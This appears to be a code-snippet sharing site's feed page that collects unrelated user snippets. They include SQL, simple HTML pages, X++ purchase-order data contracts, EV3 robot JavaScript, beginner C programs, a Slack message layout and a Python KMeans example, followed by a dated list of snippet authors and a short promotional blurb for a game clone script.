In-Game Economy: Create a robust economic system where players can earn rewards and exchange assets, making the gaming experience not only fun but also financially rewarding.

Launching a Sandbox Clone Script permits you to tap into the lucrative gaming market while offering players innovative ways to express their creativity. With the right features and community engagement strategies, you can create a platform that stands out and attracts a passionate user base. Are you ready to transformize the gaming experience? then check out here >> 
CREATE TABLE Manufacturers (
Code int not null,
Name varchar(20) not null,
PRIMARY KEY (Code));

describe Manufacturers;

INSERT INTO Manufacturers VALUES (1, 'Sony');
INSERT INTO Manufacturers VALUES (2, 'Creative labs');
INSERT INTO Manufacturers VALUES (3, 'Hewlett-Packard');
INSERT INTO Manufacturers VALUES (4, 'Iomega');
INSERT INTO Manufacturers VALUES (5, 'Fujitsu');
INSERT INTO Manufacturers VALUES (6, 'Winchester');

SELECT * FROM Manufacturers;
CREATE TABLE Manufacturers (
Code int not null,
Name varchar(20) not null,
PRIMARY KEY (Code));

describe Manufacturers;

INSERT INTO Manufacturers VALUES (1, 'Sony');
INSERT INTO Manufacturers VALUES (2, 'Creative labs');
INSERT INTO Manufacturers VALUES (3, 'Hewlett-Packard');
INSERT INTO Manufacturers VALUES (4, 'Iomega');
INSERT INTO Manufacturers VALUES (5, 'Fujitsu');
INSERT INTO Manufacturers VALUES (6, 'Winchester');

SELECT * FROM Manufacturers;
1.<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pink Frag Event Organizer</title>
    <style>
        /* External CSS for styling the menu and content */
        body {
            font-family: Arial, sans-serif; /* Set font for the body */
            margin: 20px; /* Add margin around the body */
            background-color: #f9f9f9; /* Light background color */
        }

        /* Link styles */
        a {
            background-color: #00CED1; /* Default background color */
            color: #000000; /* Default text color */
            width: 100px; /* Width of the links */
            border: 1px solid #000000; /* Border styling */
            padding: 15px; /* Padding around text */
            text-align: center; /* Center text */
            text-decoration: none; /* Remove underline */
            display: block; /* Display as block element */
            margin: 5px 0; /* Add margin between links */
        }

        /* Hover effect */
        a:hover {
            background-color: #4CAF50; /* Background color on hover */
            color: #FFFFFF; /* Text color on hover */
        }

        /* Active effect */
        a:active {
            background-color: #F0E68C; /* Background color when active */
            color: #FF8C00; /* Text color when active */
        }
    </style>
</head>
<body>
    <center>
        <h1>Pink Frag Event Organizer</h1><br>
    </center>
    <table width="100%">
        <tr>
            <td width="20%">
                <a id="home1" href="index.html">Home</a><br>
                <a id="events" href="events.html">Events</a><br>
                <a id="aboutus" href="aboutUs.html">About Us</a><br>
                <a id="contactus" href="contactUs.html">Contact Us</a><br>
            </td>
            <td width="80%" style="display: inline-block;margin-top: -20px;">
                <h2>Welcome to Pink Frag Event Organizer</h2>
                <p>We are indulged in offering a Promotional Event Management. 
                These services are provided by our team of professionals as 
                per the requirement of the client. 
                These services are highly praised for their features like 
                sophisticated technology, effective results, and reliability. We offer 
                these services in a definite time frame and at affordable rates.</p>
            </td>
        </tr>
    </table>
</body>
</html>
2.----->
  <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wedding Album</title>
    <style>
        /* Styles for the images */
        img {
            max-width: 100%; /* Ensures images are responsive */
            height: auto; /* Maintains aspect ratio */
            margin: 10px; /* Adds some space around images */
        }
    </style>
</head>
<body>
    <h1>Wedding Album</h1>
    <img src="wedding.jpg" alt="Wedding Photo" /> <!-- First image without effects -->
    <img src="wedding.jpg" alt="Wedding Photo in Grayscale" style="filter: grayscale(100%);" /> <!-- Second image with grayscale effect -->
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Simple Calculator</title>
    <script>
        function add() {
            const val1 = parseFloat(document.getElementById('value1').value);
            const val2 = parseFloat(document.getElementById('value2').value);
            const result = val1 + val2;
            document.getElementById('result').textContent = `Addition of ${val1} and ${val2} is ${result}`;
        }

        function sub() {
            const val1 = parseFloat(document.getElementById('value1').value);
            const val2 = parseFloat(document.getElementById('value2').value);
            const result = val1 - val2;
            document.getElementById('result').textContent = `Subtraction of ${val1} and ${val2} is ${result}`;
        }

        function mul() {
            const val1 = parseFloat(document.getElementById('value1').value);
            const val2 = parseFloat(document.getElementById('value2').value);
            const result = val1 * val2;
            document.getElementById('result').textContent = `Multiplication of ${val1} and ${val2} is ${result}`;
        }

        function div() {
            const val1 = parseFloat(document.getElementById('value1').value);
            const val2 = parseFloat(document.getElementById('value2').value);
            if (val2 === 0) {
                document.getElementById('result').textContent = "Error: Division by zero";
            } else {
                const result = val1 / val2;
                document.getElementById('result').textContent = `Division of ${val1} and ${val2} is ${result}`;
            }
        }
    </script>
</head>
<body>
    <h1>Simple Calculator</h1>
    <h3>Simple Calculator</h3>
    <label for="value1">Value 1:</label>
    <input type="number" id="value1" placeholder="Enter first number">
    <br>
    <label for="value2">Value 2:</label>
    <input type="number" id="value2" placeholder="Enter second number">
    <br><br>
    <button name="add" onclick="add()">ADDITION</button>
    <button name="sub" onclick="sub()">SUBTRACT</button>
    <button name="mul" onclick="mul()">MULTIPLY</button>
    <button name="div" onclick="div()">DIVISION</button>
    <br><br>
    <div id="result">Result: </div>
</body>
</html>
[DataContractAttribute]
public class NW_POConfirmationContract
{
    str 25            RequestID;
    TransDate         RequestDate;
    PurchIdBase       PurchaseOrder;
    PurchRFQCaseId    RFQId;
    PurchReqId        PurchReqId;
    Email             Email;
    str 200           SubjectOrProjectTitle;
    str               PoReport;
    EcoResProductType ProductType;
    VendAccount       Supplier;
    DlvDate           DeliveryDate;
    NW_Attachement    Attachment;
    List              Lines;
    List              Attachements;
    boolean           confirm, reject;

    [DataMemberAttribute('RequestID')]
    public str ParmRequestID(str _RequestID = RequestID)
    {
        RequestID = _RequestID;
        return RequestID;
    }

    [DataMemberAttribute('RequestDate')]
    public TransDate ParmRequestDate(TransDate _RequestDate = RequestDate)
    {
        RequestDate = _RequestDate;
        return RequestDate;
    }

    [DataMemberAttribute('PurchaseOrder')]
    public PurchIdBase ParmPurchaseOrder(PurchIdBase _PurchaseOrder = PurchaseOrder)
    {
        PurchaseOrder = _PurchaseOrder;
        return PurchaseOrder;
    }

    [DataMemberAttribute('RFQId')]
    public PurchRFQCaseId ParmRFQId(PurchRFQCaseId _RFQId = RFQId)
    {
        RFQId = _RFQId;
        return RFQId;
    }

    [DataMemberAttribute('OfficialContactEmail')]
    public Email ParmOfficialContactEmail(Email _Email = Email)
    {
        Email = _Email;
        return Email;
    }

    [DataMemberAttribute('PurchReqId')]
    public PurchReqId ParmPurchReqId(PurchReqId _PurchReqId = PurchReqId)
    {
        PurchReqId = _PurchReqId;
        return PurchReqId;
    }

    [DataMemberAttribute('SubjectOrProjectTitle')]
    public str ParmSubjectOrProjectTitle(str _SubjectOrProjectTitle = SubjectOrProjectTitle)
    {
        SubjectOrProjectTitle = _SubjectOrProjectTitle;
        return SubjectOrProjectTitle;
    }

    [DataMemberAttribute('ProductType')]
    public EcoResProductType ParmProductType(EcoResProductType _ProductType = ProductType)
    {
        ProductType = _ProductType;
        return ProductType;
    }

    [DataMemberAttribute('Supplier')]
    public VendAccount ParmSupplier(VendAccount _Supplier = Supplier)
    {
        Supplier = _Supplier;
        return Supplier;
    }

    [DataMemberAttribute('DeliveryDate')]
    public DlvDate ParmDeliveryDate(DlvDate _DeliveryDate = DeliveryDate)
    {
        DeliveryDate = _DeliveryDate;
        return DeliveryDate;
    }

    [DataMemberAttribute('IsConfirmedFromPortal')]
    public boolean ParmIsConfirmedFromPortal(boolean _confirm = confirm)
    {
        confirm = _confirm;
        return confirm;
    }

    [DataMemberAttribute('IsRejected')]
    public boolean ParmIsRejected(boolean _reject = reject)
    {
        reject = _reject;
        return reject;
    }

    [DataMemberAttribute('POReport')]
    public str ParmPoReport(str _PoReport = PoReport)
    {
        PoReport = _PoReport;
        return PoReport;
    }

    [DataMemberAttribute('Attachment')]
    public NW_Attachement ParmAttachment(NW_Attachement _Attachment = Attachment)
    {
        Attachment = _Attachment;
        return Attachment;
    }

    [DataMemberAttribute('Lines') , 
        AifCollectionType('Lines',Types::Class , classStr(NW_POConfirmationLinesContract))]
    public List ParmLines(List _Lines = Lines)
    {
        Lines = _Lines;
        return Lines;
    }

    [DataMemberAttribute('Attachements'), AifCollectionType('Attachements', Types::Class , classStr(NW_Attachement))]
    public List ParmAttachements(List _Attachements = Attachements)
    {
        Attachements = _Attachements;
        return Attachements;
    }

}
//-------------------------
[DataContractAttribute]
public class NW_POConfirmationLinesContract
{
    ItemIdSmall     ItemId;
    Description     Description;
    str 100         CategoryName;
    PurchOrderedQty Quantity;
    PurchUnit       PurchUnit;
    PurchPrice      Price;
    CurrencyCode    CurrencyCode;
    PurchPrice      TotalPrice;
    str 200         DeliveryLocation;
    TaxAmountCur    Tax;
    Amount          TotalOrderPrice;
    str             AdditionalNotes;
    List            Attachements;

    [DataMemberAttribute('ItemId')]
    public ItemIdSmall ParmItemId(ItemIdSmall _ItemId = ItemId)
    {
        ItemId = _ItemId;
        return ItemId;
    }

    [DataMemberAttribute('Description')]
    public Description ParmDescription(Description _Description = Description)
    {
        Description = _Description;
        return Description;
    }

    [DataMemberAttribute('CategoryName')]
    public str ParmCategoryName(str _CategoryName = CategoryName)
    {
        CategoryName = _CategoryName;
        return CategoryName;
    }

    [DataMemberAttribute('Quantity')]
    public PurchOrderedQty ParmQuantity(PurchOrderedQty _Quantity = Quantity)
    {
        Quantity = _Quantity;
        return Quantity;
    }

    [DataMemberAttribute('PurchUnit')]
    public PurchUnit ParmPurchUnit(PurchUnit _PurchUnit = PurchUnit)
    {
        PurchUnit = _PurchUnit;
        return PurchUnit;
    }

    [DataMemberAttribute('CurrencyCode')]
    public CurrencyCode ParmCurrencyCode(CurrencyCode _CurrencyCode = CurrencyCode)
    {
        CurrencyCode = _CurrencyCode;
        return CurrencyCode;
    }

    [DataMemberAttribute('Price')]
    public PurchPrice ParmPrice(PurchPrice _Price = Price)
    {
        Price = _Price;
        return Price;
    }

    [DataMemberAttribute('TotalPrice')]
    public PurchPrice ParmTotalPrice(PurchPrice _TotalPrice = TotalPrice)
    {
        TotalPrice = _TotalPrice;
        return TotalPrice;
    }

    [DataMemberAttribute('DeliveryLocation')]
    public str ParmDeliveryLocation(str _DeliveryLocation = DeliveryLocation)
    {
        DeliveryLocation = _DeliveryLocation;
        return DeliveryLocation;
    }

    [DataMemberAttribute('Tax')]
    public TaxAmountCur ParmTax(TaxAmountCur _Tax = Tax)
    {
        Tax = _Tax;
        return Tax;
    }

    [DataMemberAttribute('TotalOrderPrice')]
    public Amount ParmTotalOrderPrice(Amount _TotalOrderPrice = TotalOrderPrice)
    {
        TotalOrderPrice = _TotalOrderPrice;
        return TotalOrderPrice;
    }

    [DataMemberAttribute('AdditionalNotes')]
    public str ParmAdditionalNotes(str _AdditionalNotes = AdditionalNotes)
    {
        AdditionalNotes = _AdditionalNotes;
        return AdditionalNotes;
    }

    //[DataMemberAttribute('Attachement')]
    [DataMemberAttribute('Attachements'), AifCollectionType('Attachements', Types::Class , classStr(NW_Attachement))]
    public List ParmAttachements(List _Attachements = Attachements)
    {
        Attachements = _Attachements;
        return Attachements;
    }

}
btn = Button (win, image = img, bd = 0, highlightthickness = 0)
// Mission 1 
const motorL = ev3_motorA(); // A port
const motorR = ev3_motorD(); // D port
display(ev3_connected(motorL) ? "L connected" : "L not connected");
display(ev3_connected(motorR) ? "R connected" : "R not connected");

// Q1
function speak(words) {
    return ev3_speak(words);
}

// speak("I am human");
// ok works

// Q2
//circum of wheel: 6 pi

function move_forward(length) { // length, in cm 
    const speed = 100;
    const pos = length/(6 * math_PI) * 360; // pos (in deg): degree turned by wheel 
    // const time = 1 * 1000; 
    const time = math_abs(pos/speed) * 1000; // time (in ms): pos(deg), speed(degree/second)
                                      //math_abs to keep time always positive 
    // doc: ev3_runToRelativePosition(motor, position, speed);
    ev3_runToRelativePosition(motorL, pos, speed);
    ev3_runToRelativePosition(motorR, pos, speed);
    
    return ev3_pause(time); // do we need a return value?
}

// move_forward(-10); // 10cm



// Q3
function turn(deg) { // clockwise
    const speed = 100;
    const time = math_abs(deg * 2/ speed) * 1000;
    ev3_runToRelativePosition(motorL, deg * 2, speed);
    ev3_runToRelativePosition(motorR, - (deg * 2), speed);
    return ev3_pause(time);
}

const turn_left = () => turn(90); // makes it a function instead of funct call
const turn_right = () => turn(-90);

// Q4
function mission1_q4() {
    move_forward(10);
    turn_left();
    move_forward(5);
    turn_right();
    move_forward(15);
} 

mission1_q4();

/* ATTENDANCE CHECK
PRATEEK
yijie
hazel 
clemen
Hari
jiesheng
zele
James
*/
#include<stdio.h>
// Author- Khadiza Sultana
// Date- 10/8/2024
// Prints the Calendar of a month 
int main()
{
    int n, i, day; // n stores the number of days in the month, i used as a loop counter, day stores the starting day of the week(from 1 to 7, where 1= Sunday, 7= saturday)
    printf("Enter number of days in month:");
    scanf("%d", &n);
    printf("Enter starting day of the week (1=Sun, 7=Sat): ");
    scanf("%d", &day);
    for(i = 1; i < day; ++i) // This loop is responsible for printing spaces before the first day of the month.
    // If day == 1, no spaces are printed before thr month starts on sunday.
    // If day == 4, the loop runs three times and prints three spaces to align the first day under Wednesday
    {
        printf("   "); // three spacesto allign the days even when there's two digit days the days will be aligned 
    }
    for(i = 1; i <= n; i++, day++) // Prints the actual days of the month.
    // the day++ inside the for loop increments the day variable with each iteration, so the program knows when to start a new line after printing Saturday
    {
        printf("%2d ", i);
        if(day == 7)
        {
            day = 0;
            printf("\n");
        }
    }

    return 0;
}
{
	"blocks": [
		{
			"type": "header",
			"text": {
				"type": "plain_text",
				"text": ":star: Xero Boost Days! :star:"
			}
		},
		{
			"type": "section",
			"text": {
				"type": "mrkdwn",
				"text": "Canberra! Please see below for what's on this week! "
			}
		},
		{
			"type": "divider"
		},
		{
			"type": "header",
			"text": {
				"type": "plain_text",
				"text": ":calendar-date-9: Wednesday,9th october",
				"emoji": true
			}
		},
		{
			"type": "section",
			"text": {
				"type": "mrkdwn",
				"text": "\n:Lunch: *Lunch*: Provided in our suite from *12pm*."
			}
		},
		{
			"type": "divider"
		},
		{
			"type": "section",
			"text": {
				"type": "mrkdwn",
				"text": "Stay tuned to this channel for more details, check out the <https://calendar.google.com/calendar/u/0?cid=Y19jYzU3YWJkZTE4ZTE0YzVlYTYxMGU4OThjZjRhYWQ0MTNhYmIzMDBjZjBkMzVlNDg0M2M5NDQ4NDk3NDAyYjkyQGdyb3VwLmNhbGVuZGFyLmdvb2dsZS5jb20|*Canberra Social Calendar*>, and get ready to Boost your workdays!\n\nLove,\nWX Team :party-wx:"
			}
		}
	]
}
#include<stdio.h>
// Author- Khadiza Sultana
// Date- 10/8/2024
// printing all even squares from 1 to n
#include<math.h> // includin math.h library for the pow function. We can simply write i*i instead

int main() { 
    int n;
    printf("Enter a number: ");
    scanf("%d", &n);
    
    int i = 1;
    while(pow(i,2)<= n) // checking if i^2 is equal to n or not. If yes then the loop is stoped. If no then continue
    {
        int square = pow(i,2); // storing the squares of the numbers
        if(square % 2 == 0) // checking if the squares are even or not
        {
            printf("%d\n", square);
        }
        i++; // incrementing i
    }
    
    return 0;
}
#include<stdio.h>
// Author- Khadiza Sultana
// 10/8/2024
// Takes a fraction and prints the lowest form of the fraction

int main() {
    int a, b, x, y, gcd; // Take two integers as input
    printf("Enter the fraction (a/b): ");
    scanf("%d/%d", &a, &b);

    x = a;
    y = b;

    // Using Euclidean algorithm to find the GCD of a and b
    while (y != 0) {
        int remainder = x % y;
        x = y;
        y = remainder;
    }

    // x now contains the GCD
    gcd = x;

    // Dividing both numerator and denominator by GCD to get the reduced fraction
    a = a / gcd;
    b = b / gcd;

    printf("In lowest terms: %d/%d\n", a, b);
    
    return 0;
}
#include<stdio.h>
// Author- Khadiza Sultana
// 10/8/2024
// Determing GCD of two integers using loop
int main()
{
    int a, b; // take two integers as input
    printf("Enter the integers:");
    scanf("%d %d", &a, &b);
    while (b!=0)
    {
      int remainder = a % b; //1. Determining the remainder of a/b
      a = b; //2. storing b into a
      b = remainder;//3. storing remainder into b
    }
    printf("The GCD of the two integers is: %d", a); // 'a' holds the GCD after the loop
    return 0;
}
#include<stdio.h>
// Author- Khadiza Sultana
// 10/8/2024
//Finding the largest number with the help of loop
int main()
{
    double number = 0, largest = 0; // initialization is done
    for(;;)
    {
        printf("Enter the number:");
        scanf("%lf", &number);
       
        if(number <= 0)
           break; // when zero or negative number then the infinite loop is broke

        if(number > largest)
           largest = number; // storing the largest number after comparing
    }
    printf("\nThe largest number is %g\n", largest);
   
    return 0;
}
import matplotlib.pyplot as plt
from sklearn.cluster import KMeans

x=[4,5,10,4,3,11,14,6,10,12]
y=[21,19,24,17,16,25,24,22,21,21]

data=list(zip(x,y))
print(data)

inertia=[]
for i in range(1,11):
    kmeans=KMeans(n_clusters=i)
    kmeans.fit(data)
    inertia.append(kmeans.inertia_)
plt.plot(range(1,11),inertia,marker='o')
plt.title("Elbow Method")
plt.xlabel("no of clusters")
plt.ylabel("inertias")
plt.show()

kmean=KMeans(n_clusters=2)
kmean.fit(data)

plt.scatter(x,y,c=kmean.labels_)
plt.show()
import matplotlib.pyplot as plt
from sklearn.cluster import KMeans

x=[4,5,10,4,3,11,14,6,10,12]
y=[21,19,24,17,16,25,24,22,21,21]

data=list(zip(x,y))
print(data)

inertia=[]
for i in range(1,11):
    kmeans=KMeans(n_clusters=i)
    kmeans.fit(data)
    inertia.append(kmeans.inertia_)
plt.plot(range(1,11),inertia,marker='o')
plt.title("Elbow Method")
plt.xlabel("no of clusters")
plt.ylabel("inertias")
plt.show()

kmean=KMeans(n_clusters=2)
kmean.fit(data)

plt.scatter(x,y,c=kmean.labels_)
plt.show()
star

Wed Oct 09 2024 19:23:36 GMT+0000 (Coordinated Universal Time)

@marcopinero #html

star

Wed Oct 09 2024 18:26:01 GMT+0000 (Coordinated Universal Time)

@wayneinvein

star

Wed Oct 09 2024 18:20:43 GMT+0000 (Coordinated Universal Time)

@wayneinvein

star

Wed Oct 09 2024 18:18:22 GMT+0000 (Coordinated Universal Time)

@wayneinvein

star

Wed Oct 09 2024 18:16:10 GMT+0000 (Coordinated Universal Time)

@wayneinvein

star

Wed Oct 09 2024 18:12:41 GMT+0000 (Coordinated Universal Time)

@deshmukhvishal2 #cpp

star

Wed Oct 09 2024 16:35:26 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/cpp-programming/online-compiler/

@LizzyTheCatto

star

Wed Oct 09 2024 15:18:53 GMT+0000 (Coordinated Universal Time)

@usman13

star

Wed Oct 09 2024 15:18:23 GMT+0000 (Coordinated Universal Time)

@usman13

star

Wed Oct 09 2024 15:17:54 GMT+0000 (Coordinated Universal Time)

@usman13

star

Wed Oct 09 2024 15:17:20 GMT+0000 (Coordinated Universal Time)

@usman13

star

Wed Oct 09 2024 12:57:41 GMT+0000 (Coordinated Universal Time)

@odesign

star

Wed Oct 09 2024 11:04:33 GMT+0000 (Coordinated Universal Time) https://datalemur.com/questions/time-spent-snaps

@vhasepta

star

Wed Oct 09 2024 10:54:36 GMT+0000 (Coordinated Universal Time) https://datalemur.com/questions/cards-issued-difference

@vhasepta

star

Wed Oct 09 2024 10:51:15 GMT+0000 (Coordinated Universal Time) https://datalemur.com/questions/duplicate-job-listings

@vhasepta

star

Wed Oct 09 2024 08:51:49 GMT+0000 (Coordinated Universal Time)

@signup #html #javascript

star

Wed Oct 09 2024 08:08:08 GMT+0000 (Coordinated Universal Time)

@signup #html #javascript

star

Wed Oct 09 2024 06:45:40 GMT+0000 (Coordinated Universal Time)

@mdfaizi

star

Wed Oct 09 2024 06:26:18 GMT+0000 (Coordinated Universal Time)

@omnixima #javascript

star

Wed Oct 09 2024 05:08:33 GMT+0000 (Coordinated Universal Time)

@pipinskie

star

Tue Oct 08 2024 20:49:54 GMT+0000 (Coordinated Universal Time)

@saharmess #java

star

Tue Oct 08 2024 20:35:13 GMT+0000 (Coordinated Universal Time)

@saharmess #java

star

Tue Oct 08 2024 20:26:39 GMT+0000 (Coordinated Universal Time)

@saharmess

star

Tue Oct 08 2024 20:23:58 GMT+0000 (Coordinated Universal Time)

@Yakostoch

star

Tue Oct 08 2024 20:02:04 GMT+0000 (Coordinated Universal Time) https://chatgpt.com/share/67058f8f-b858-800d-960d-344eda20e8c0

@mdfaizi

star

Tue Oct 08 2024 19:52:37 GMT+0000 (Coordinated Universal Time) https://pastebin.com/raw/6D3Eibmv

@blockchained

star

Tue Oct 08 2024 19:27:12 GMT+0000 (Coordinated Universal Time)

@Yakostoch

star

Tue Oct 08 2024 19:01:49 GMT+0000 (Coordinated Universal Time)

@Yakostoch

star

Tue Oct 08 2024 12:43:35 GMT+0000 (Coordinated Universal Time)

@JC

star

Tue Oct 08 2024 12:34:51 GMT+0000 (Coordinated Universal Time)

@JC

star

Tue Oct 08 2024 12:12:46 GMT+0000 (Coordinated Universal Time) https://www.cryptocurrencyscript.com/pancakeswap-clone-script

@joepaully

star

Tue Oct 08 2024 11:30:16 GMT+0000 (Coordinated Universal Time) https://maticz.com/sandbox-clone-script

@jamielucas #drupal

star

Tue Oct 08 2024 11:23:54 GMT+0000 (Coordinated Universal Time) https://764390.mobirisesite.com/

@Unknown

star

Tue Oct 08 2024 11:03:32 GMT+0000 (Coordinated Universal Time)

@JC

star

Tue Oct 08 2024 11:03:09 GMT+0000 (Coordinated Universal Time)

@JC

star

Tue Oct 08 2024 09:41:13 GMT+0000 (Coordinated Universal Time)

@signup #html #javascript

star

Tue Oct 08 2024 09:27:47 GMT+0000 (Coordinated Universal Time)

@signup #html #javascript

star

Tue Oct 08 2024 08:56:08 GMT+0000 (Coordinated Universal Time)

@MinaTimo

star

Tue Oct 08 2024 08:24:10 GMT+0000 (Coordinated Universal Time) https://studywithowl.tistory.com/entry/PythonTkinter-Tkinter에서-버튼-테두리-없애는-방법

@hajinjang0714

star

Tue Oct 08 2024 06:07:39 GMT+0000 (Coordinated Universal Time)

@hkrishn4a

star

Tue Oct 08 2024 00:54:21 GMT+0000 (Coordinated Universal Time)

@FOHWellington

star

Mon Oct 07 2024 18:32:28 GMT+0000 (Coordinated Universal Time) https://www.youtube.com/watch?v=jZiZs8cZAKU&t=1568s

@rstringa #view-transitions

star

Mon Oct 07 2024 17:58:59 GMT+0000 (Coordinated Universal Time)

@bvc

star

Mon Oct 07 2024 17:58:35 GMT+0000 (Coordinated Universal Time)

@bvc

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension